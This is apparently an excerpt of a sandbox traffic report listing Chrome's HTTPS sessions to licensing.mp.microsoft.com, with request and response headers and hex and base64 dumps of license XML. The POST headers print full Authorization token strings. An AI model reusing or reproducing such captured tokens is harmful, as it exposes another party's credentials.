2022-07-01 09:01:29 UTC 2354 IN Data Raw: 73 61 58 70 68 64 47 6c 76 62 6b 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 
68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 54 41 76 65 47 31 73 4c 
57 56 34 59 79 31 6a 4d 54 52 75 49 79 49 67 4c 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 54 57 56 30 61 47 39 6b 
49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 
76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 78 6b 63 32 6c 6e 4c 57 31 76 63 6d 55 6a 63 6e 4e 68 4c 58 4e 6f 59 54 
49 31 4e 69 49 67 4c 7a 34 38 55 6d 56 6d 5a 58 4a 6c 62 6d 4e 6c 49 46 56 53 53 54 30 69 49 6a 34 38 56 48 4a 68 62 
6e 4e 6d 62 33 4a 74 63 7a 34 38 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 49 45 
Data Ascii: saXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Y
y1jMTRuIyIgLz48U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWx
kc2lnLW1vcmUjcnNhLXNoYTI1NiIgLz48UmVmZXJlbmNlIFVSST0iIj48VHJhbnNmb3Jtcz48VHJhbnNmb3JtIE

2022-07-01 09:01:29 UTC 2355 IN Data Raw: 51 4e 30 35 48 54 6a 6b 34 5a 56 6c 6b 55 6c 70 48 4e 56 4e 46 4d 6a 42 51 52 7a 42 59 4d 47 64 36 5a 7a 
30 39 50 43 39 54 61 57 64 75 59 58 52 31 63 6d 56 57 59 57 78 31 5a 54 34 38 53 32 56 35 53 57 35 6d 62 79 42 4a 5a 
44 30 69 58 7a 42 6d 4f 44 46 69 4d 6a 52 6d 4c 57 4a 6a 4e 44 41 74 4d 6a 63 78 4d 69 30 77 5a 44 56 6b 4c 57 55 33 5
9 7a 45 77 4d 44 67 31 59 7a 4d 7a 4d 43 49 2b 50 45 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 53 55 30 46 4c 5a 58 6c 
57 59 57 78 31 5a 54 34 38 54 57 39 6b 64 57 78 31 63 7a 35 76 56 6c 4e 4b 57 45 6c 30 52 48 4e 68 51 55 6c 6d 64 33 
6c 53 4f 57 4a 6f 61 43 39 61 55 33 42 77 51 30 46 50 4b 32 6c 75 4f 56 42 50 54 46 64 6b 51 7a 49 76 56 46 46 76 5a 
47 64 6c 53 46 70 36 59 6d 52 43 64 6e 68 4b 64 6b 74 6f 63 47 4a 79 63 54 
Data Ascii: QN05HTjk4ZVlkUlpHNVNFMjBQRzBYMGd6Zz09PC9TaWduYXR1cmVWYWx1ZT48S2V5SW5mbyBJZD0iX
zBmODFiMjRmLWJjNDAtMjcxMi0wZDVkLWU3YzEwMDg1YzMzMCI+PEtleVZhbHVlPjxSU0FLZXlWYWx1Z
T48TW9kdWx1cz5vVlNKWEl0RHNhQUlmd3lSOWJoaC9aU3BwQ0FPK2luOVBPTFdkQzIvVFFvZGdlSFp6YmRCdnhKdkt
ocGJycT

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

138 192.168.2.5 49905 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:30 UTC 2356 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.22
Content-Length: 4329
Host: licensing.mp.microsoft.com

2022-07-01 09:01:30 UTC 2358 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:30 UTC 2362 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:29 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8049
MS-CorrelationId: 13ac31ac-0630-44f2-985c-280bb4db6579
MS-RequestId: 6b211cb1-ec3d-4baf-8fb2-9a324e18ac58
MS-CV: UznHpAHqV0GMBdER.22.1530939902.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-7xc4s

2022-07-01 09:01:30 UTC 2363 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 38 64 35 36 65 35 37 62 2d 38 36 36 33 2d 31 
33 36 64 2d 66 66 36 39 2d 61 30 30 34 65 32 31 37 38 32 35 61 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"8d56e57b-8663-136d-ff69-a004e217825a"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:30 UTC 2364 IN Data Raw: 6a 49 74 4d 44 63 74 4d 44 46 55 4d 44 41 36 4d 6a 51 36 4d 7a 41 75 4e 7a 41 7a 4f 44 41 79 4e 46 6f 38 4c 
30 4a 6c 5a 32 6c 75 52 47 46 30 5a 54 34 38 4c 30 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 50 6a 78 44 64 58 4e 30 
62 32 31 51 62 32 78 70 59 32 6c 6c 63 7a 35 6c 65 55 70 7a 57 6c 64 6b 61 46 6b 7a 62 46 46 6a 62 54 6c 72 5a 46 64 
4f 4d 46 4e 58 55 57 6c 50 61 55 6b 30 57 6d 70 53 61 30 35 36 5a 47 68 5a 55 7a 46 71 54 6e 70 4b 62 45 78 55 55 54 
52 4e 61 6b 6c 30 54 30 52 4a 4e 55 39 54 4d 57 68 4e 52 47 73 78 54 31 52 4e 65 56 70 58 56 58 70 61 52 30 31 70 5a 
6c 45 39 50 54 77 76 51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 2b 50 46 4e 51 54 47 6c 6a 5a 57 35 7a 
5a 55 4a 73 62 32 4e 72 50 6b 5a 42 51 55 46 42 54 55 6c 42 51 55 46 45 
Data Ascii: jItMDctMDFUMDA6MjQ6MzAuNzAzODAyNFo8L0JlZ2luRGF0ZT48L0xpY2Vuc2VJbmZvPjxDdXN0b21
Qb2xpY2llcz5leUpzWldkaFkzbFFjbTlrZFdOMFNXUWlPaUk0WmpSa056ZGhZUzFqTnpKbExUUTRNakl0T0RJNU9TM
WhNRGsxT1RNeVpXVXpaR01pZlE9PTwvQ3VzdG9tUG9saWNpZXM+PFNQTGljZW5zZUJsb2NrPkZBQUFBTUlBQUFE

2022-07-01 09:01:30 UTC 2365 IN Data Raw: 47 31 73 5a 48 4e 70 5a 79 31 74 62 33 4a 6c 49 33 4a 7a 59 53 31 7a 61 47 45 79 4e 54 59 69 49 43 38 2b 
50 46 4a 6c 5a 6d 56 79 5a 57 35 6a 5a 53 42 56 55 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 
2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 
39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 4e 6c 62 
6e 5a 6c 62 47 39 77 5a 57 51 74 63 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 77 76 56 48 4a 68 62 6e 4e 6d 
62 33 4a 74 63 7a 34 38 52 47 6c 6e 5a 58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 
69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 
Data Ascii: G1sZHNpZy1tb3JlI3JzYS1zaGEyNTYiIC8+PFJlZmVyZW5jZSBVUkk9IiI+PFRyYW5zZm9ybXM+PFR
yYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnb
mF0dXJlIiAvPjwvVHJhbnNmb3Jtcz48RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcv

Timestamp
kBytes
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2022-07-01 09:01:30 UTC 2366 IN Data Raw: 48 56 73 64 58 4d 2b 62 31 5a 54 53 6c 68 4a 64 45 52 7a 59 55 46 4a 5a 6e 64 35 55 6a 6c 69 61 47 67 76 
57 6c 4e 77 63 45 4e 42 54 79 74 70 62 6a 6c 51 54 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 
6b 51 6e 5a 34 53 6e 5a 4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 74 64 6a 
64 36 53 58 56 57 64 7a 4e 57 59 6a 64 30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 6b 46 48 4f 57 5a 6c 63 30 35 73 57 
55 74 57 4d 33 6c 69 65 55 35 79 53 48 6c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 70 33 4d 7a 4a 35 61 54 41 7a 
65 6c 46 68 4b 30 78 4d 59 54 41 31 5a 6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 31 51 6e 4a 48 55 58 4a 48 63 6d 4a 
4f 54 55 4a 68 61 48 6f 30 59 32 31 31 65 45 74 44 4e 43 39 6b 61 45 56 69 
Data Ascii: HVsdXM+b1ZTSlhJdERzYUFJZnd5UjliaGgvWlNwcENBTytpbjlQT0xXZEMyL1RRb2RnZUhaemJkQnZ
4SnZLaHBicnE2WlAwRnNTRWxMd1JvTEFtdjd6SXVWdzNWYjd0ZlF0NWJqQ0RIUkFHOWZlc05sWUtWM3lieU5ySHl6Z
2xmWlBSQjVVSlp3MzJ5aTAzelFhK0xMYTA1ZmpzNmpvRW1sSGM1QnJHUXJHcmJOTUJhaHo0Y211eEtDNC9kaEVi

2022-07-01 09:01:30 UTC 2367 IN Data Raw: 75 5a 79 42 43 61 57 35 6b 61 57 35 6e 58 31 52 35 63 47 55 39 49 6b 31 68 59 32 68 70 62 6d 55 69 50 6a 
78 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 54 57 6c 6a 63 
6d 39 7a 62 32 5a 30 55 33 52 70 59 32 74 35 54 6d 39 30 5a 58 4e 66 4f 48 64 6c 61 33 6c 69 4d 32 51 34 59 6d 4a 33 
5a 54 77 76 51 58 4e 7a 62 32 4e 70 59 58 52 6c 5a 46 42 47 54 6e 4d 2b 50 45 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 
68 62 46 42 6c 63 6d 6c 76 5a 44 34 78 4d 6a 6b 32 4d 44 41 38 4c 30 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 
42 6c 63 6d 6c 76 5a 44 34 38 4c 30 4a 70 62 6d 52 70 62 6d 63 2b 50 45 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 49 
46 52 35 63 47 55 39 49 6b 78 6c 59 58 4e 6c 49 69 42 4d 61 57 4e 6c 62 6e 
Data Ascii: uZyBCaW5kaW5nX1R5cGU9Ik1hY2hpbmUiPjxBc3NvY2lhdGVkUEZOcz5NaWNyb3NvZnQuTWljcm9zb
2Z0U3RpY2t5Tm90ZXNfOHdla3liM2Q4YmJ3ZTwvQXNzb2NpYXRlZFBGTnM+PExlYXNlUmVuZXdhbFBlcmlvZD4xMjk
2MDA8L0xlYXNlUmVuZXdhbFBlcmlvZD48L0JpbmRpbmc+PExpY2Vuc2VJbmZvIFR5cGU9IkxlYXNlIiBMaWNlbn

2022-07-01 09:01:30 UTC 2368 IN Data Raw: 30 54 57 70 57 61 45 6c 73 4d 48 4e 4a 62 58 52 77 59 6d 31 52 61 55 39 70 53 6b 52 69 4d 6a 55 77 57 6c 
63 31 4d 45 6c 70 64 32 6c 6a 52 30 5a 71 59 54 4a 47 62 6c 70 59 54 57 6c 50 62 48 51 33 53 57 35 43 61 46 6b 79 64 
47 68 61 4d 6c 5a 4b 57 6b 64 57 64 57 52 48 62 47 31 68 56 31 5a 35 53 57 70 76 61 55 35 71 61 47 78 4e 52 45 55 31 
57 6c 64 4a 64 45 31 48 53 54 56 4e 61 54 41 78 57 6c 52 42 4e 45 78 55 56 6d 74 50 52 46 6c 30 54 31 64 4b 62 56 70 
55 57 6d 74 5a 62 55 55 30 54 6c 52 46 4d 30 6c 70 64 32 6c 6a 52 30 5a 71 59 54 4a 47 62 6c 70 57 55 6a 56 6a 52 31 
56 70 54 32 6c 4b 64 47 4d 79 62 44 52 4a 61 58 64 70 59 30 68 4b 64 6c 70 49 56 6d 70 6b 52 55 5a 72 57 6b 55 35 64 
57 4e 35 53 54 5a 58 4d 54 42 7a 53 57 35 43 65 57 49 79 55 6a 46 5a 4d 31 
Data Ascii: 0TWpWaElsMHNJbXRwYm1RaU9pSkRiMjUwWlc1MElpd2ljR0ZqYTJGblpYTWlPbHQ3SW5CaFkydGhaM
lZKWkdWdWRHbG1hV1Z5SWpvaU5qaGxNREU1WldJdE1HSTVNaTAxWlRBNExUVmtPRFl0T1dKbVpUWmtZb
UU0TlRFM0lpd2ljR0ZqYTJGblpWUjVjR1VpT2lKdGMybDRJaXdpY0hKdlpIVmpkRUZrWkU5dWN5STZXMTBzSW5CeWI
yUjFZM1

2022-07-01 09:01:30 UTC 2369 IN Data Raw: 6a 61 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 48 68 74 62 47 35 7a 50 53 4a 6f 64 48 52 77 4f 69 38 
76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 49 6a 
34 38 55 32 6c 6e 62 6d 56 6b 53 57 35 6d 62 7a 34 38 51 32 46 75 62 32 35 70 59 32 46 73 61 58 70 68 64 47 6c 76 62 
6b 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 
64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 54 41 76 65 47 31 73 4c 57 56 34 59 79 31 6a 4d 54 52 75 49 79 49 
67 4c 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 
30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 
Data Ascii: jaz48U2lnbmF0dXJlIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIj48U
2lnbmVkSW5mbz48Q2Fub25pY2FsaXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDE
vMTAveG1sLWV4Yy1jMTRuIyIgLz48U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcm

2022-07-01 09:01:30 UTC 2370 IN Data Raw: 34 64 57 39 77 5a 56 70 6f 4c 32 78 4a 54 33 49 31 5a 45 39 6f 62 56 67 76 55 32 6c 4d 52 6e 6c 4a 56 30 56 
77 54 30 46 59 63 32 34 77 51 54 42 73 52 6b 4e 78 4d 6b 46 76 5a 45 56 35 4e 30 51 35 56 54 4a 4f 55 47 59 7a 52 58 
4e 50 61 57 55 34 54 44 46 56 4d 7a 68 46 57 56 70 4d 53 6e 5a 73 54 6d 68 5a 4d 54 67 32 57 57 74 4e 55 6a 4e 33 5a 
56 52 70 63 45 74 51 4d 47 4a 46 55 6d 4a 49 65 45 74 44 4c 7a 49 32 55 54 30 39 50 43 39 54 61 57 64 75 59 58 52 31 
63 6d 56 57 59 57 78 31 5a 54 34 38 53 32 56 35 53 57 35 6d 62 79 42 4a 5a 44 30 69 58 7a 42 6d 4f 44 46 69 4d 6a 52 
6d 4c 57 4a 6a 4e 44 41 74 4d 6a 63 78 4d 69 30 77 5a 44 56 6b 4c 57 55 33 59 7a 45 77 4d 44 67 31 59 7a 4d 7a 4d 43 
49 2b 50 45 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 53 55 30 46 4c 5a 58 
Data Ascii: 4dW9wZVpoL2xJT3I1ZE9obVgvU2lMRnlJV0VwT0FYc24wQTBsRkNxMkFvZEV5N0Q5VTJOUGYzRXNPa
WU4TDFVMzhFWVpMSnZsTmhZMTg2WWtNUjN3ZVRpcEtQMGJFUmJIeEtDLzI2UT09PC9TaWduYXR1cmVWY
Wx1ZT48S2V5SW5mbyBJZD0iXzBmODFiMjRmLWJjNDAtMjcxMi0wZDVkLWU3YzEwMDg1YzMzMCI+PEtleVZhbHVlPjx
SU0FLZX

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

139 192.168.2.5 49906 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:30 UTC 2370 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.23
Content-Length: 4321
Host: licensing.mp.microsoft.com

2022-07-01 09:01:30 UTC 2372 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:30 UTC 2376 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:30 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8033
MS-CorrelationId: 5f14bd0d-ab8a-4f2f-b778-98a4eb51392b
MS-RequestId: 1b7db3f2-0361-45f9-ba80-bc4c01be3e6a
MS-CV: UznHpAHqV0GMBdER.23.1530939986.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-5876x

2022-07-01 09:01:30 UTC 2377 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 38 65 33 38 33 65 39 30 2d 62 32 66 39 2d 37 
62 66 32 2d 31 64 35 62 2d 34 65 34 37 64 63 62 32 30 31 34 65 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
